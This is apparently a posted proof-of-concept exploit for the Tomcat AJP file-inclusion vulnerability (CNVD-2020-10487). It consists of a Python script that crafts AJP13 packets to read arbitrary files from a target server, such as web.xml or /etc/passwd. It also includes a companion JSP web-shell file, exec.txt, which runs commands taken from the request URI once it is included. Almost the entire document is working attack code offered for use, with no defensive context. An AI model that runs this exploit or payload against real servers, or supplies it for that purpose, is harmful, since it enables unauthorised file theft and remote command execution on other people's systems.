CNVD-2020-10487 Tomcat-Ajp lfi Python POC

exec.py

#!/usr/bin/env python
# #####################################
#
# Modified from: https://github.com/fairyming/CVE-2020-1938
#
#  add `-e` to execute commands
#  python exec.py -c 1 127.0.0.1 -p 8009 -f exec.txt -e 'cat /etc/passwd'
#
# ###################################
#CNVD-2020-10487  Tomcat-Ajp lfi
#by ydhcui
import struct

# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
        if s is None:
                return struct.pack(">h", -1)
        l = len(s)
        return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
        size = struct.calcsize(fmt)
        buf = stream.read(size)
        return struct.unpack(fmt, buf)
def unpack_string(stream):
        size, = unpack(stream, ">h")
        if size == -1: # null string
                return None
        res, = unpack(stream, "%ds" % size)
        stream.read(1) # \0
        return res
class NotFoundException(Exception):
        pass
class AjpBodyRequest(object):
        # server == web server, container == servlet
        SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
        MAX_REQUEST_LENGTH = 8186
        def __init__(self, data_stream, data_len, data_direction=None):
                self.data_stream = data_stream
                self.data_len = data_len
                self.data_direction = data_direction
        def serialize(self):
                data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
                if len(data) == 0:
                        return struct.pack(">bbH", 0x12, 0x34, 0x00)
                else:
                        res = struct.pack(">H", len(data))
                        res += data
                if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
                        header = struct.pack(">bbH", 0x12, 0x34, len(res))
                else:
                        header = struct.pack(">bbH", 0x41, 0x42, len(res))
                return header + res
        def send_and_receive(self, socket, stream):
                while True:
                        data = self.serialize()
                        socket.send(data)
                        r = AjpResponse.receive(stream)
                        while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
                                r = AjpResponse.receive(stream)

                        if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
                                break
class AjpForwardRequest(object):
        _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
        REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
        # server == web server, container == servlet
        SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
        COMMON_HEADERS = ["SC_REQ_ACCEPT",
                "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
                "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
                "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
        ]
        ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
        def __init__(self, data_direction=None):
                self.prefix_code = 0x02
                self.method = None
                self.protocol = None
                self.req_uri = None
                self.remote_addr = None
                self.remote_host = None
                self.server_name = None
                self.server_port = None
                self.is_ssl = None
                self.num_headers = None
                self.request_headers = None
                self.attributes = None
                self.data_direction = data_direction
        def pack_headers(self):
                self.num_headers = len(self.request_headers)
                res = ""
                res = struct.pack(">h", self.num_headers)
                for h_name in self.request_headers:
                        if h_name.startswith("SC_REQ"):
                                code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
                                res += struct.pack("BB", 0xA0, code)
                        else:
                                res += pack_string(h_name)

                        res += pack_string(self.request_headers[h_name])
                return res

        def pack_attributes(self):
                res = b""
                for attr in self.attributes:
                        a_name = attr['name']
                        code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
                        res += struct.pack("b", code)
                        if a_name == "req_attribute":
                                aa_name, a_value = attr['value']
                                res += pack_string(aa_name)
                                res += pack_string(a_value)
                        else:
                                res += pack_string(attr['value'])
                res += struct.pack("B", 0xFF)
                return res
        def serialize(self):
                res = ""
                res = struct.pack("bb", self.prefix_code, self.method)
                res += pack_string(self.protocol)
                res += pack_string(self.req_uri)
                res += pack_string(self.remote_addr)
                res += pack_string(self.remote_host)
                res += pack_string(self.server_name)
                res += struct.pack(">h", self.server_port)
                res += struct.pack("?", self.is_ssl)
                res += self.pack_headers()
                res += self.pack_attributes()
                if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
                        header = struct.pack(">bbh", 0x12, 0x34, len(res))
                else:
                        header = struct.pack(">bbh", 0x41, 0x42, len(res))
                return header + res
        def parse(self, raw_packet):
                stream = StringIO(raw_packet)
                self.magic1, self.magic2, data_len = unpack(stream, "bbH")
                self.prefix_code, self.method = unpack(stream, "bb")
                self.protocol = unpack_string(stream)
                self.req_uri = unpack_string(stream)
                self.remote_addr = unpack_string(stream)
                self.remote_host = unpack_string(stream)
                self.server_name = unpack_string(stream)
                self.server_port = unpack(stream, ">h")
                self.is_ssl = unpack(stream, "?")
                self.num_headers, = unpack(stream, ">H")
                self.request_headers = {}
                for i in range(self.num_headers):
                        code, = unpack(stream, ">H")
                        if code > 0xA000:
                                h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
                        else:
                                h_name = unpack(stream, "%ds" % code)
                                stream.read(1) # \0
                        h_value = unpack_string(stream)
                        self.request_headers[h_name] = h_value
        def send_and_receive(self, socket, stream, save_cookies=False):
                res = []
                i = socket.sendall(self.serialize())
                if self.method == AjpForwardRequest.POST:
                        return res

                r = AjpResponse.receive(stream)
                assert r.prefix_code == AjpResponse.SEND_HEADERS
                res.append(r)
                if save_cookies and 'Set-Cookie' in r.response_headers:
                        self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

                # read body chunks and end response packets
                while True:
                        r = AjpResponse.receive(stream)
                        res.append(r)
                        if r.prefix_code == AjpResponse.END_RESPONSE:
                                break
                        elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
                                continue
                        else:
                                raise NotImplementedError
                                break

                return res

class AjpResponse(object):
        _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
        COMMON_SEND_HEADERS = [
                        "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
                        "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
                        ]
        def parse(self, stream):
                # read headers
                self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

                if self.prefix_code == AjpResponse.SEND_HEADERS:
                        self.parse_send_headers(stream)
                elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
                        self.parse_send_body_chunk(stream)
                elif self.prefix_code == AjpResponse.END_RESPONSE:
                        self.parse_end_response(stream)
                elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
                        self.parse_get_body_chunk(stream)
                else:
                        raise NotImplementedError

        def parse_send_headers(self, stream):
                self.http_status_code, = unpack(stream, ">H")
                self.http_status_msg = unpack_string(stream)
                self.num_headers, = unpack(stream, ">H")
                self.response_headers = {}
                for i in range(self.num_headers):
                        code, = unpack(stream, ">H")
                        if code <= 0xA000: # custom header
                                h_name, = unpack(stream, "%ds" % code)
                                stream.read(1) # \0
                                h_value = unpack_string(stream)
                        else:
                                h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
                                h_value = unpack_string(stream)
                        self.response_headers[h_name] = h_value

        def parse_send_body_chunk(self, stream):
                self.data_length, = unpack(stream, ">H")
                self.data = stream.read(self.data_length+1)

        def parse_end_response(self, stream):
                self.reuse, = unpack(stream, "b")

        def parse_get_body_chunk(self, stream):
                rlen, = unpack(stream, ">H")
                return rlen

        @staticmethod
        def receive(stream):
                r = AjpResponse()
                r.parse(stream)
                return r

import socket

def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
        fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
        fr.method = method
        fr.protocol = "HTTP/1.1"
        fr.req_uri = req_uri
        fr.remote_addr = target_host
        fr.remote_host = None
        fr.server_name = target_host
        fr.server_port = 80
        fr.request_headers = {
                'SC_REQ_ACCEPT': 'text/html',
                'SC_REQ_CONNECTION': 'keep-alive',
                'SC_REQ_CONTENT_LENGTH': '0',
                'SC_REQ_HOST': target_host,
                'SC_REQ_USER_AGENT': 'Mozilla',
                'Accept-Encoding': 'gzip, deflate, sdch',
                'Accept-Language': 'en-US,en;q=0.5',
                'Upgrade-Insecure-Requests': '1',
                'Cache-Control': 'max-age=0'
        }
        fr.is_ssl = False
        fr.attributes = []
        return fr

class Tomcat(object):
        def __init__(self, target_host, target_port):
                self.target_host = target_host
                self.target_port = target_port

                self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                self.socket.connect((target_host, target_port))
                self.stream = self.socket.makefile("rb", bufsize=0)

        def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
                self.req_uri = req_uri
                self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
                print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
                if user is not None and password is not None:
                        self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
                for h in headers:
                        self.forward_request.request_headers[h] = headers[h]
                for a in attributes:
                        self.forward_request.attributes.append(a)
                responses = self.forward_request.send_and_receive(self.socket, self.stream)
                if len(responses) == 0:
                        return None, None
                snd_hdrs_res = responses[0]
                data_res = responses[1:-1]
                if len(data_res) == 0:
                        print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
                return snd_hdrs_res, data_res

'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''

import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
parser.add_argument("-c", '--check', type=int , default=0, help="download(0) or include(1)")
parser.add_argument("-e", '--exec_cmd', type=str , default='whoami', help="commands to execute")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
if args.check == 0:
        _,data = t.perform_request('/fairy',attributes=[
                {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
                {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
                {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
                ])
elif args.check == 1:
        _,data = t.perform_request('/' + args.exec_cmd + '.jsp',attributes=[
                {'name':'req_attribute','value':['javax.servlet.include.cmd','ls']},
                {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
                {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
                {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
                ])
print('----------------------------')
print("".join([d.data for d in data]))

exec.txt

<%
java.io.InputStream in = Runtime.getRuntime().exec((((String)request.getRequestURI()).substring(1).replace(".jsp", ""))).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while((a=in.read(b)) != -1){
out.println(new String(b));
}
%>